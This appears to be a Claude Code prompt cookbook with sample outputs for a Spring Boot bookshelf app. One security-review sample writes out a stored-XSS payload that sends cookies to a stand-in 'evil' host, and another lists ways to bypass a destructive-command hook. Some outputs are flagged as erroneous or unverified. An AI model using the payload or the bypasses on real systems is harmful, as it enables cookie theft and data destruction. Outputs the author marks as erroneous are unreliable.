Improve the performance of the books endpoints in this Spring Boot/JPA app (branch `feature/jpa-books`). Specifically: 1. **Profile first:** Identify the slowest operations among the book list, title search, year filter, and stats endpoints. Look for N+1 queries, missing database indexes (e.g., on `title` and `year`), unbounded result sets, and stats calculated in Java instead of in the database. 2. **Fix the main bottlenecks:** Apply targeted changes, such as adding indexes, using fetch joins or `@EntityGraph`, adding pagination, or replacing in-memory aggregation with JPQL/SQL aggregate queries. 3. **Keep behavior unchanged:** Response formats and existing endpoint contracts must stay the same. Run the existing tests and verification scripts to confirm nothing breaks. 4. **Report results:** Summarize what you changed and why. Include before/after evidence, such as query counts or response times, where you can measure it. If the real problem is something else, such as slow startup or the frontend, tell me what you found before making changes.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
MET-02What is missing?real sample
What information is missing from this prompt that would change your answer? {prompt}

Use when: Before you send an important prompt.

Watch out:

Combine with: MET-01 CTL-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What information is missing from this prompt that would change your answer? make the books faster
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 6.7s Β· est. $0.038 Β· project commit f23d2f5
"Make the books faster" is too vague to act on. These are the gaps that would change what I do, most important first: 1. **What "faster" means.** It could be API response time, slow startup, a slow build or test run, or the UI. I'm guessing it's the books endpoints in this Spring/JPA app, since the branch is `feature/jpa-books`. 2. **Which operation is slow.** It might be listing books, the title search, the year filter, the stats endpoint, or writes. Each has different fixes. 3. **How slow it is now, and the target.** For example, 2s down to 200ms. Without a baseline I can't tell whether I've improved anything. 4. **How much data there is.** A few hundred rows and millions of rows need different fixes, such as pagination and indexes versus caching. 5. **Which database it runs on.** H2, Postgres and MySQL differ in how indexes, query plans and connection pooling behave. 6. **What's likely causing it.** I'd check for N+1 queries from lazy associations, a missing index on title or year, an unpaginated `findAll`, or stats computed in Java instead of SQL. If you've already profiled it, tell me what you found. 7. **What I'm allowed to change.** That covers schema migrations, adding a cache layer such as Caffeine or Redis, changing API response shapes (for example adding pagination), and adding dependencies. 8. **Whether staleness is acceptable.** Caching only works if slightly out-of-date results are fine. 9. **What "done" looks like.** Do you want a benchmark or test showing the improvement, and should it go in the existing verification scripts or CI? If you can only answer one, tell me **which endpoint is slow and roughly how slow**. I can then profile it myself, using the code and the existing verification scripts, and propose a fix.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
MET-03Explain what you did
Explain what you just did in plain English, step by step, including any files you read or changed.

Use when: After a long run you did not follow. Fixes 'I could not understand what it did'.

Watch out: For the full record, also read the tool calls and run git diff.

Combine with: AUD-01

MET-04Summarise decisions
Summarise the decisions we have made so far in 5 bullets, and list what is still open.

Use when: Before /clear or /compact, or when you return to a long session.

Watch out:

Combine with: CTL-02

MET-05Simple English
Rewrite this in simple English, keeping the technical terms: {text}

Use when: You find a technical explanation hard to read in English.

Watch out: Keep technical terms so you can search for them.

Combine with: AUD-01

Roles and viewpoints 6

Ask Claude to look at your work through a specific pair of eyes: reviewer, mentor, sceptic, on-call engineer, newcomer.

ROL-01Strict reviewerreal sample
Act as a strict code reviewer. Review {target} for correctness and security. Skip style. If you find nothing important, say so.

Use when: Before you merge something. The 'skip style' and 'say so if nothing' parts stop invented nitpicks.

Watch out: A reviewer told to find problems will always find something. Ask for a failing scenario for each finding.

Combine with: CTL-01 VER-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Act as a strict code reviewer. Review the BookService and BookController classes for correctness and security. Skip style. If you find nothing important, say so.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 5 turns Β· 15.8s Β· est. $0.094 Β· project commit f23d2f5
I found a few real issues, mostly in `BookService.create`. I read the two classes plus the entities, repositories, request record and exception handler. **Worth fixing** 1. **Duplicate authors under concurrent creates** (`BookService.java:35`). The code does a find-then-save on `Author.name`, and `Author` has no unique constraint on `name`. Two simultaneous POSTs for a new author will both miss the lookup and both insert, so you get two author rows with the same name. After that, `findByName` returns more than one row and throws `IncorrectResultSizeDataAccessException`. Every later create for that author then fails with a 500. Fix it with `@Column(unique = true)` on `name`, and on a constraint violation catch and re-read. You could also upsert. 2. **No normalization of author names** (`BookService.java:35`). `" Orwell"`, `"orwell"` and `"Orwell"` become three different authors, because `@NotBlank` accepts leading and trailing whitespace and the lookup is case-sensitive. Trim the name before the lookup. Consider a case-insensitive lookup as well. 3. **No length limits on `title` or `author`** (`CreateBookRequest`). Both fields are unbounded strings, so a client can send a very large payload. Add `@Size(max=...)` and a matching `@Column(length=...)`. Without them a long value either bloats the table or fails at the database with a 500. **Minor** 4. **`/search` accepts an empty `title`** (`BookController.java:31`). `?title=` matches every book. The result is the same as `findAll`, but it is unpaginated, so it has no more exposure than `/api/books`. Both endpoints return the whole table with no paging, which is a scaling and DoS concern as the data grows. `%` and `_` in `title` act as LIKE wildcards. Spring Data's `Containing` does not escape them, so they widen the match but cannot inject SQL. 5. **Missing `year` becomes 0** (`CreateBookRequest`). `year` is a primitive `int`, so an omitted field deserializes to 0. That is then rejected by `@Min(1450)` with a misleading message. Use `Integer` with `@NotNull`. 6. **Malformed requests may return 500** (`ApiExceptionHandler`). The handler only maps `BookNotFoundException`. A non-numeric `/{id}` or a bad JSON body is handled by Spring's defaults and returns 400, but any database failure from items 1 and 3 will surface as a 500. **No findings** - All queries go through Spring Data's derived queries, which are parameterized, so I saw no injection risk. - The transaction boundaries are correct: reads are `readOnly`, and the `@EntityGraph` avoids lazy-loading problems when `BookDto.from` reads `author`. - `@Valid` is applied on the POST body. I did not review the authentication or authorization setup. The code in these two classes has none, so whether that matters depends on your deployment.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
ROL-02Patient mentor
Act as a patient mentor teaching me {topic}. Use plain words, and check my understanding with one question at the end.

Use when: You are learning and want a tutor, not a reference manual.

Watch out:

Combine with: LRN-02 AUD-01

ROL-03Devil's advocatereal sample
Act as the devil's advocate against {decision}. Give the strongest honest case against it, then say what evidence would change your mind.

Use when: You are about to commit to a design or tool.

Watch out:

Combine with: THK-02 THK-04

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Act as the devil's advocate against using an in-memory H2 database as the only database for this service. Give the strongest honest case against it, then say what evidence would change your mind.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 2 turns Β· 13.9s Β· est. $0.073 Β· project commit f23d2f5
**The case against H2 in-memory as the only database** The repo has `h2` in `pom.xml` and no datasource config. `CLAUDE.md` says "backed by H2 (in-memory)". So I'm arguing against the setup as written. 1. **It loses all data on every restart.** A catalogue service exists to remember books. With in-memory H2, a deploy, a crash, an OOM kill or a pod reschedule empties it. Whatever clients `POST`ed is gone, and nothing tells them. That's silent data loss, not a degraded mode. 2. **It can't run as more than one instance.** Each replica gets its own private database. Behind a load balancer, `GET /books/1` succeeds on one pod and 404s on another. You can't scale horizontally or do rolling deploys, and the service is a single point of failure. 3. **You're testing a database you won't run in production.** H2 is not Postgres or MySQL. Its compatibility modes only approximate them. Your own `CLAUDE.md` records one gap: H2 rejects `year`, so the column became `publication_year`. Gaps like this cut both ways. Some queries pass on H2 and fail on the real database, such as dialect functions, case sensitivity, collation, locking, and `LIKE` and sort behaviour. The title search and year filter are the most exposed. Green CI then says little about production. 4. **There's no migration story.** `ddl-auto` schema generation hides the fact that the schema is code. With no Flyway or Liquibase, there's no versioned history. The first time you need to add a column to data that has to survive, you have no path. 5. **It's heap-bound.** The catalogue's data competes with the JVM for memory. Growth leads to GC pressure and eventually OOM, which circles back to point 1. 6. **The shortcut becomes permanent.** "Temporary" H2 setups tend to reach production because the app works. Swapping later is costlier once code, tests and habits assume H2 quirks. **What would change my mind** - **This is explicitly a learning or demo project.** The directory is `scratchpad/learn/bookshelf`, so this may already be true. If nobody depends on the data and it's seeded at startup, most of my points vanish. Then the remaining job is to say so in the README. - **The data is derived and rebuildable.** If the catalogue is a read-only cache loaded from a durable source of truth at boot, losing it is a restart cost, not data loss. - **A single instance is a deliberate, accepted constraint.** That means no HA requirement and a known owner for downtime. - **Tests run against the real engine anyway.** If CI uses Testcontainers with the production database and H2 is only a local dev convenience, points 3 and 4 are mostly answered. Note that this means H2 isn't the only database. - **The H2 usage is portable.** If the code is plain JPA with no native queries or H2-specific SQL, a swap is a config change and a driver, which makes the risk cheap to defer. I haven't checked the `application.properties`, the native queries, or how the tests are configured. Those would show how much of this applies.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
ROL-04Confused newcomerreal sample
Act as a new team member reading {target} for the first time. List everything that confused you, in the order you hit it.

Use when: Onboarding docs, READMEs and unclear code. Finds what the author can no longer see.

Watch out:

Combine with: EXP-04 DOC-02

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Act as a new team member reading the README-level story of this project (its structure, CLAUDE.md and scripts) for the first time. List everything that confused you, in the order you hit it.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 16 turns Β· 35.3s Β· est. $0.140 Β· project commit f23d2f5
Here is what confused me, in the order I hit it. I couldn't run anything because Bash was denied, so all of this comes from reading files. I also didn't open `.gitignore` or the Java sources. 1. **There is no README.** `ls README*` finds nothing, so `CLAUDE.md` is the only front door. It's written for an AI agent, not a person. It has no project purpose, endpoint list, setup prerequisites or "how do I contribute" section. 2. **The `CLAUDE.md` says "Spring Boot 4.1, Java 21" and "H2 (in-memory)".** `application.properties` contains only `spring.application.name=bookshelf`. Nothing configures H2 or JPA, so the datasource is implicit auto-configuration. I'd have to check `pom.xml` to confirm H2 is the only database. 3. **`CLAUDE.md` doesn't mention `scripts/`, `feature_list.json`, `mcp/` or `.claude/`.** I only found them through `git ls-files`. Nothing says which of these are meant to be used or when. 4. **There are two overlapping ways to ask "what's done?".** `scripts/status.sh` and `mcp/feature-server.mjs` both read `feature_list.json`. Nothing says which one is canonical. The script needs `jq`, which isn't listed as a prerequisite. The MCP server needs Node, and it isn't registered anywhere (see item 5). 5. **`.mcp.json` points at `https://issues.example.com/mcp`.** That's a placeholder host, so the server won't connect. It doesn't register `mcp/feature-server.mjs`, which is the server that actually exists. `mcp/` is also untracked, so the repo has an MCP server nobody can find. 6. **`feature_list.json` has no explanation.** I can't tell who updates `status`, whether it's hand-edited, or what "passing" is checked against. It also doesn't line up with the tests. Search and stats are "passing", but pagination and delete are "failing" with no test or ticket behind them. 7. **`verify.sh` has defaults and side effects that aren't documented.** - It diffs against `main` by default, so on `feature/jpa-books` the budget counts everything since main. - It writes to a fixed `/tmp/verify-test.log`, which concurrent runs would clobber. - It uses `-q`, so on success you see no test counts. - The "20 files" budget has no stated reason. - It's never mentioned in `CLAUDE.md`. 8. **The Stop hook runs the whole test suite every time Claude stops.** The command is `./mvnw -B -q test 1>&2 || exit 2`. It's slow, and a failing test traps the agent in a loop. It also uses a relative path, while the other hook uses `${CLAUDE_PROJECT_DIR}`. That inconsistency looks accidental. 9. **The destructive-command hook is easy to bypass and has a false-positive risk.** - The regex only catches `rm -rf` in that exact order. `rm -fr`, `rm -r -f` and `git push -f` pass through. - `drop +table` is case-sensitive, so `DROP TABLE` passes. - It needs `jq`, and nothing says so. - It overlaps with the `Bash(git push *)` deny rule in `settings.json`, so it's unclear which one is the real protection. 10. **The permissions block is inconsistent.** It allows `./mvnw *` (any arguments) but only the exact `git status`. It denies reading `.env`, which the latest commit also added to `.gitignore`. Nothing explains where `.env` comes from or what goes in it, and the app seems not to use one. 11. **There are three Claude-side helpers with overlapping roles and no index.** - `verify-build` runs the tests and reports. - `scripts/verify.sh` also runs the tests. - The Stop hook runs them a third time. - `explain-endpoint` is untracked, so teammates don't have it. - `sql-reviewer` is pinned to `model: sonnet`, with no stated reason. 12. **The CI workflow is a mismatch.** `claude-review.yml` needs an `ANTHROPIC_API_KEY` secret that isn't documented. It uses `fetch-depth: 1`, so the reviewer can't see the diff against base. `--max-turns 5` looks tight. The file is named "claude-review" but the first job is plain tests. The `CLAUDE.md` mentions no CI at all. 13. **The `CLAUDE.md` gotcha is correct but unexplained.** It says `BookQueryCountTest` requires exactly one SQL statement for listing books. It doesn't say what mechanism is used, such as a fetch join or an entity graph. It also doesn't say how that fits with feature 6 (pagination), which could easily break it. 14. **Housekeeping.** - `target/` is present but I didn't confirm it's ignored. - Git status shows the branch `feature/jpa-books`, but nothing explains how it relates to `main`, which `verify.sh` uses as its base. - `CLAUDE.md` says "Spring Boot 4.1" with no hint of what that means for the Jackson or Hibernate versions. If I could ask only three questions, they'd be: - Which of `status.sh`, the MCP server and the `verify` skill is the real workflow? - Is `.mcp.json` supposed to point at the placeholder host? - Why are `mcp/` and `explain-endpoint/` untracked?
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
ROL-05On-call engineer
Act as an on-call engineer. Given this error, what do you check first, second and third, and what does each result tell you? {error}

Use when: Production-style failures where the order of checks matters.

Watch out:

Combine with: DBG-01

ROL-06Security reviewerreal sample
Act as a security reviewer. List the risks in {target}, and give a concrete failing scenario for each. Read only.

Use when: Anything that handles input, secrets or permissions.

Watch out: Not a substitute for real security testing or a human review.

Combine with: CTL-01 VER-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Act as a security reviewer. List the risks in the POST /api/books endpoint, and give a concrete failing scenario for each. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 12 turns Β· 23.7s Β· est. $0.117 Β· project commit f23d2f5
Review of `POST /api/books` (`BookController.java:40`, `BookService.java:34`, `CreateBookRequest.java`). I only read the code. I didn't run any of these scenarios. **1. No authentication or authorization (High)** - `pom.xml` has no `spring-boot-starter-security`, so anyone who can reach the port can write. - Failing scenario: `curl -X POST /api/books -H 'Content-Type: application/json' -d '{"title":"x","author":"y","year":2000}'` returns 201 with no credentials. A script can loop this and fill the database with junk. **2. No size limits on `title` and `author` (High, storage and memory DoS)** - Both fields only have `@NotBlank`. There is no `@Size`, and `Book.title` and `Author.name` have no `@Column(length=…)`. Tomcat's default body limit (about 2 MB) is the only cap. - Failing scenario: POST a 1.5 MB `title` in a loop. H2 is in-memory, so the heap fills and the app hits an OOM. Every `GET /api/books` then returns all of that data. **3. No rate limiting or quota (Medium)** - Failing scenario: 10k requests a minute, each with a unique `author`, create 10k `Author` rows. The `GET /api/books` list is unpaginated, so response size and latency grow without bound. **4. Author find-or-create race and no uniqueness constraint (Medium, integrity)** - `BookService.java:35` does `findByName(...)` and then `save(...)`. `Author.name` has no unique constraint, and the default transaction isolation doesn't prevent the race. - Failing scenario: two concurrent POSTs for a new author "Orwell" both miss the lookup and both insert. Two Orwell rows now exist. `findByName` returns an `Optional`, so every later POST for "Orwell" throws `IncorrectResultSizeDataAccessException` and gets a 500. That author is permanently unusable. **5. Author spoofing through lookalike names (Low to Medium)** - Matching is exact and case-sensitive, with no trimming or Unicode normalization. - Failing scenario: `"George Orwell"`, `"george orwell"`, `"George Orwell "` and `"George Оrwell"` (with a Cyrillic О) create four separate authors. An attacker can impersonate a real author or split their catalogue. **6. Stored content is never sanitized (Medium, depends on the client)** - The API returns raw strings and does no encoding or sanitizing. That's fine for JSON, but any client that renders them as HTML is exposed. - Failing scenario: `title: "<img src=x onerror=fetch('//evil/'+document.cookie)>"` is stored. A frontend using `innerHTML` runs it for every visitor, which makes it stored XSS. **7. Malformed input returns unhandled or inconsistent errors (Low, hardening)** - `ApiExceptionHandler` only handles `BookNotFoundException`. Spring's defaults cover bean-validation failures (`MethodArgumentNotValidException`) and bad JSON, but the Spring Boot property that controls error details isn't set. Check this with a live request. - Failing scenario: `{"year":"abc"}` or `year` omitted. An omitted `int` silently becomes 0 and is rejected by `@Min`, but the error body can echo field names and rejected values. A DB constraint failure, such as a null title that gets past validation, returns a 500. **8. No CSRF protection or content-type enforcement (Low, conditional)** - This only matters once authentication is added. Spring Security would then enforce CSRF, and cookie-based sessions would need it. - Failing scenario: after someone adds cookie auth and CORS is configured loosely, a malicious site posts to the endpoint from a victim's browser. **9. No audit trail (Low)** - Nothing is logged or recorded about who created a book, and `Book` has no `createdBy` or timestamp. - Failing scenario: after a spam wave, you can't tell which source IP or client created the rows, so you can't clean them up selectively. **Priorities:** fix #1 and #2 first. Then add a unique constraint on `Author.name`, handle the duplicate-key exception, and add `@Size` limits (#4 and #2). Pagination and rate limiting come after that.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.

Output format 7

Say what shape the answer should take: table, steps, checklist, diff, diagram, length limit.

FMT-01As a tablereal sample
Answer as a table with the columns: {columns}.

Use when: Comparisons, inventories and lists with several attributes.

Watch out:

Combine with: EXP-01

Real sample: what Claude answered (Checked)
Prompt as sent
Answer as a table with the columns: endpoint, HTTP method, what it returns, how errors are reported.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 5 turns Β· 11.5s Β· est. $0.083 Β· project commit f23d2f5
| endpoint | HTTP method | what it returns | how errors are reported | |---|---|---|---| | `/api/books` | GET | JSON array of all books (`List<BookDto>`) | No handler of its own, so no errors are expected. | | `/api/books/search?title=…` | GET | JSON array of books matching the title (`List<BookDto>`) | A missing `title` parameter gives Spring's default 400. No custom handling. | | `/api/books/{id}` | GET | A single `BookDto` | `BookNotFoundException` becomes a 404 with a `ProblemDetail` body (RFC 7807) whose `detail` is the exception message. A non-numeric `id` gives Spring's default 400. | | `/api/books` | POST | The created `BookDto`, with status 201 Created. The body is a `CreateBookRequest`. | `@Valid` failures give Spring's default 400. `ApiExceptionHandler` doesn't handle them, so the body format depends on Spring Boot config. | | `/api/stats` | GET | A JSON object of counts, e.g. `{"books": n, "authors": m}` | No handler of its own, so no errors are expected. | - **Custom error handling:** `ApiExceptionHandler` is the only custom handler. It maps `BookNotFoundException` to 404 and nothing else. - **Unchecked body format:** I didn't check the application config. I don't know whether the 400 responses use `ProblemDetail` or Spring's older default error JSON. - **Service layer:** I didn't read `BookService`, so I'm assuming `BookNotFoundException` is only thrown from `findById`.
Author's check: Checked. The table lists exactly the five real endpoints (list, search, by id, create, stats). It also says what it did not check.
FMT-02Numbered steps
Give me numbered steps I can follow, with the exact command for each step and what I should see.

Use when: Setup, deployment and how-to tasks.

Watch out: Run the steps yourself, in a clean place, before you trust them.

Combine with: VER-01

FMT-03Checklist
Give me a checklist I can tick off, grouped by priority.

Use when: Reviews, releases and onboarding.

Watch out:

Combine with: ROL-01

FMT-04Diff only
Show only the diff. No explanation.

Use when: When you only want to read the change.

Watch out: Read the diff, then ask for the explanation separately.

Combine with: CTL-04

FMT-05Length limit
Answer in at most {n} lines.

Use when: Explanations that tend to ramble.

Watch out:

Combine with: AUD-04

FMT-06Diagram then bulletsreal sample
Draw it as a simple ASCII diagram, then explain it in 3 bullets.

Use when: Flows, layers and architectures.

Watch out: Check the diagram against the code; diagrams look convincing even when wrong.

Combine with: EXP-02

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Draw it as a simple ASCII diagram, then explain it in 3 bullets.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 4.1s Β· est. $0.034 Β· project commit f23d2f5
I'm not sure what "it" refers to, because this is the start of the conversation and nothing has been mentioned yet. Which of these do you mean? - The overall architecture of this bookshelf app (controller β†’ service β†’ JPA repository β†’ DB) - A specific endpoint, such as search or stats - Something else, such as the `mcp/` folder, the CI workflow, or a concept Tell me which one and I'll draw the ASCII diagram and explain it in 3 bullets. If you'd like me to pick, I'll go with the app architecture after reading the code.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
FMT-07Summary then detail
Give me a one-paragraph summary first, then the detail as a bullet list.

Use when: Long answers you want to skim.

Watch out:

Combine with: AUD-04

Debugging 6

Turn an error into hypotheses and experiments instead of a guess-and-patch loop.

DBG-01Hypotheses, not fixesreal sample
Here is the error: {error} Give me 3 hypotheses ranked by likelihood and say how to test each one. Don't fix anything yet.

Use when: Any failure whose cause you do not know. Stops the guess-and-patch loop.

Watch out: Paste the exact error, not a paraphrase.

Combine with: ROL-05 CTL-01

Real sample: what Claude answered (Partly correct)
Prompt as sent
Here is the error: Caused by: org.h2.jdbc.JdbcSQLSyntaxErrorException: Syntax error in SQL statement "create table book ([*]year integer not null, author_id bigint, id bigint not null, title varchar(255), primary key (id))"; expected "identifier" Give me 3 hypotheses ranked by likelihood and say how to test each one. Don't fix anything yet.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 11.4s Β· est. $0.045 Β· project commit f23d2f5
The error points at `year` (marked by `[*]`), and the parser expected an identifier there. **1. `year` is a reserved keyword in H2 2.x (most likely).** The `Book` entity has a field `year`, and Hibernate emits it unquoted as the column name. H2 2.x added `YEAR` to its reserved words, so it can't be used as a bare column name. - **Test:** Open the H2 console, or run a quick JDBC check, and try `create table t (year integer)`. It should fail with the same error. Then try `create table t ("year" integer)`, which should succeed. - **Confirm in the app:** Add `;NON_KEYWORDS=YEAR` to the datasource URL. If startup succeeds, this was the cause. **2. H2 or Hibernate version mismatch (explains why it surfaced now).** The keyword rule exists only in H2 2.x. The 1.4.x versions accepted `year`. If the Spring Boot version or dependencies changed, the app could have started pulling H2 2.x while the entity stayed the same. Hibernate also doesn't auto-quote reserved words unless `globally_quoted_identifiers` is on. - **Test:** Run `./mvnw dependency:tree | grep -i h2` (or the Gradle equivalent) and check for 2.x. - **Confirm:** Pin H2 to 1.4.200 temporarily. If the error disappears, this is the cause, and it's the same root problem as #1. **3. A compatibility mode or dialect setting changes the keyword list.** An explicit `MODE=...` in the JDBC URL, or a hardcoded `hibernate.dialect` in `application.properties`, can change how H2 treats keywords and what DDL Hibernate generates. - **Test:** Grep `application.properties` or `application.yml` for `MODE=`, `dialect`, and `globally_quoted_identifiers`. Remove any override and restart. - **Confirm:** Check whether the error still occurs with the plain default `jdbc:h2:mem:testdb` URL. **Quick tie-breaker:** Run the two console statements from #1. If the unquoted one fails and the quoted one passes, hypotheses 2 and 3 are only side factors. In that case the fix is to rename the column or quote it.
Author's check: Partly correct. It answered from the error text alone (one turn, no file reads). Hypothesis 1 (year is a reserved word in H2) matches the real cause found in Chapter 9. Hypotheses 2 and 3 were not tested, and the advice to pin an old H2 version is unverified.
DBG-02Reproduce first
Reproduce this first: {steps}. Show me the failing output before you suggest any fix.

Use when: Bugs you can trigger on demand.

Watch out: If it cannot be reproduced, say so: that is a finding.

Combine with: VER-02 VER-01

DBG-03Smallest change that breaks it
What is the smallest change that would make this fail? Use it to explain the root cause. {behaviour}

Use when: You understand what works but not why it breaks.

Watch out:

Combine with: DBG-06

DBG-04Read the stack tracereal sample
Explain this stack trace line by line. Mark which frames are my code and which are libraries. {trace}

Use when: Long traces that look intimidating.

Watch out: Frames may not match the current code if lines have moved.

Combine with: AUD-01

Real sample: what Claude answered (Contains errors)
Prompt as sent
Explain this stack trace line by line. Mark which frames are my code and which are libraries. com.example.bookshelf.BookNotFoundException: Book 99 not found at com.example.bookshelf.BookService.lambda$findById$0(BookService.java:25) at com.example.bookshelf.BookService.findById(BookService.java:25) at com.example.bookshelf.BookController.get(BookController.java:31)
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 8.6s Β· est. $0.042 Β· project commit f23d2f5
All three frames are your code. They're all in `com.example.bookshelf`, and no library frames appear in this trace. **The exception line** ``` com.example.bookshelf.BookNotFoundException: Book 99 not found ``` - **Mine:** `BookNotFoundException` is your own exception class, in your package. - **What it means:** something looked up book ID 99 and found nothing, and your code threw this on purpose. **The frames, top (where it was thrown) to bottom (what called it)** 1. `BookService.lambda$findById$0(BookService.java:25)`: **your code** - `lambda$findById$0` is a compiler-generated name for a lambda written inside `findById`. The `$0` means it's the first lambda in that method. - This is where the exception was created and thrown. - It's most likely the supplier in `repository.findById(id).orElseThrow(() -> new BookNotFoundException("Book " + id + " not found"))`. 2. `BookService.findById(BookService.java:25)`: **your code** - This is the method containing that lambda. It's on the same line, 25, because `orElseThrow(...)` and the lambda are on one line. - `Optional.orElseThrow` ran the lambda here, but that call doesn't appear in the trace. This trace is either trimmed, or the JDK frames were filtered out. A full trace would normally show a JDK frame like `java.util.Optional.orElseThrow(Optional.java:...)` between frames 1 and 2. 3. `BookController.get(BookController.java:31)`: **your code** - The controller's `get` handler called `bookService.findById(99)` on line 31. - The `Book 99` in the message means the request was for ID 99, for example `GET /books/99`. **What's missing** - The trace ends at your controller. It has no Spring frames (`DispatcherServlet`, reflection, Tomcat filters), so it was cut off. It could be a `Caused by` section, a trimmed log, or a filtered view. - Nothing here shows a bug in the code. The exception is behaving as designed for a missing ID. **What to check** - Does book 99 exist in the database? - If a missing book should return a 404, make sure `BookNotFoundException` is mapped to that status. You can annotate it with `@ResponseStatus(HttpStatus.NOT_FOUND)` or handle it in a `@ExceptionHandler` or `@ControllerAdvice`. Without that mapping, Spring returns a 500. If you paste `BookService.java` around line 25, I can confirm the lambda matches what I described.
Author's check: Contains errors. It guessed the source of the exception (new BookNotFoundException("Book " + id ...)) without opening the file. The real constructor takes a long id. Fluent, confident and partly invented, which is why VER-03 exists.
DBG-05What changed?
This worked before and broke after {change}. Compare the two states and list everything that differs.

Use when: Regressions.

Watch out: Use git diff or git bisect for ground truth.

Combine with: VER-01

DBG-06Cause, not symptom
Find the root cause, not just the symptom. Explain the difference between them in one sentence.

Use when: After a first fix 'worked' but you doubt it.

Watch out:

Combine with: DBG-01

Refactoring 6

Change structure without changing behaviour, and prove it.

REF-01Pin behaviour first
Refactor {target} without changing behaviour. First write tests that pin the current behaviour, and show that they pass before you change anything.

Use when: Any refactor of code with weak tests.

Watch out: Tests written by Claude for code Claude is about to change can share the same blind spots.

Combine with: REF-02 VER-01

REF-02Keep an oracle
Keep the old implementation as an oracle. Compare old and new over many inputs and report how many differ.

Use when: Logic-heavy refactors (the Chapter 9 lesson: a plausible rewrite was wrong for 1,710 inputs).

Watch out: Delete the oracle only after the comparison reports zero differences.

Combine with: REF-01

REF-03Smallest refactor
Make the smallest refactor that removes {smell}. Show the diff and nothing else.

Use when: You want a reviewable change, not a rewrite.

Watch out:

Combine with: CTL-04 FMT-04

REF-04Opportunities, rankedreal sample
List refactoring opportunities in {target}, ranked by value and risk. Don't change anything.

Use when: Planning a cleanup.

Watch out:

Combine with: CTL-01 THK-03

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
List refactoring opportunities in the code under src/main/java/com/example/bookshelf, ranked by value and risk. Don't change anything.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 3 turns Β· 13.5s Β· est. $0.091 Β· project commit f23d2f5
The codebase is small (13 files, about 290 lines) and already fairly clean. I read every file and changed nothing. These opportunities are ranked by value against risk. ## Higher value, low risk 1. **`StatsController` talks to repositories directly, skipping the service layer.** - `StatsController.java:10-23` injects `BookRepository` and `AuthorRepository`, while every other controller goes through `BookService`. - Move this into a `StatsService`, or add a `stats()` method to `BookService`, and have the controller depend only on the service. - It would also give you a place for `@Transactional(readOnly = true)`. - Risk is very low because the API stays the same. 2. **`BookService.create` has a race on author creation.** - `BookService.java:33-36` does `findByName`, then `save`. Two concurrent requests with a new author name can both miss and insert duplicates. - `Author.name` has no unique constraint. - Add `@Column(unique = true)` on `Author.name` and handle the conflict, for example by retrying the lookup. - This is a correctness fix more than a refactor. Risk is low to medium because it changes the schema, and existing data may already contain duplicates. 3. **Return stats as a typed record instead of `Map<String, Long>`.** - Use something like `record StatsDto(long books, long authors)`. - The JSON output stays identical, and the API becomes self-documenting. - Risk is very low. ## Medium value, low risk 4. **Duplicated `stream().map(BookDto::from).toList()` in `BookService`** (`findAll` and `search`). - A small private helper `toDtos(List<Book>)` would remove it. - It's minor. It only matters if more list queries get added. 5. **`BookDto.from` is package-private and depends on the entity.** - It's fine now. If you add more DTOs, consider a single mapper class. - Alternatively, keep the static factory, which is idiomatic for records. I'd leave it as is for now. 6. **`DataSeeder` is a `@Configuration` with a `CommandLineRunner` bean.** - Mixing the two is acceptable. - Consider limiting it to a profile, such as `@Profile("!test")` or `dev`, so seed data doesn't appear in production or tests. - Risk is low, but check that existing tests don't rely on the seeded rows. ## Low value or optional 7. **Missing validation and handling edge cases.** - `ApiExceptionHandler` only handles `BookNotFoundException`. Bean validation errors fall back to Spring's default 400 body. Adding a handler would make error responses consistent as `ProblemDetail`. - `search` accepts a blank `title`, which returns every book. - Both are behaviour changes, not pure refactors. 8. **Entities have no `equals`/`hashCode`/`toString`.** - This is fine for now. - Add them only if you start putting entities in sets or logging them. 9. **Unused or inconsistent imports.** - In `BookController`, `RequestParam` is imported before `RequestMapping`, which breaks alphabetical order. This is cosmetic. ## Suggested order Do 1 and 3 together first, since they're quick and safe. Then 4. Treat 2 as a separate bug-fix change with its own test. I'd skip the rest unless the project grows.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
REF-05Rename safely
Rename {old} to {new} everywhere, including tests and docs. List anything ambiguous instead of guessing.

Use when: Renames across many files.

Watch out: Run the build; some references (strings, reflection) are invisible to search.

Combine with: VER-01

REF-06Find duplication
Is this logic duplicated elsewhere in the project? List all locations before we extract it. {logic}

Use when: Before extracting a shared helper.

Watch out:

Combine with: CTL-01

Testing 6

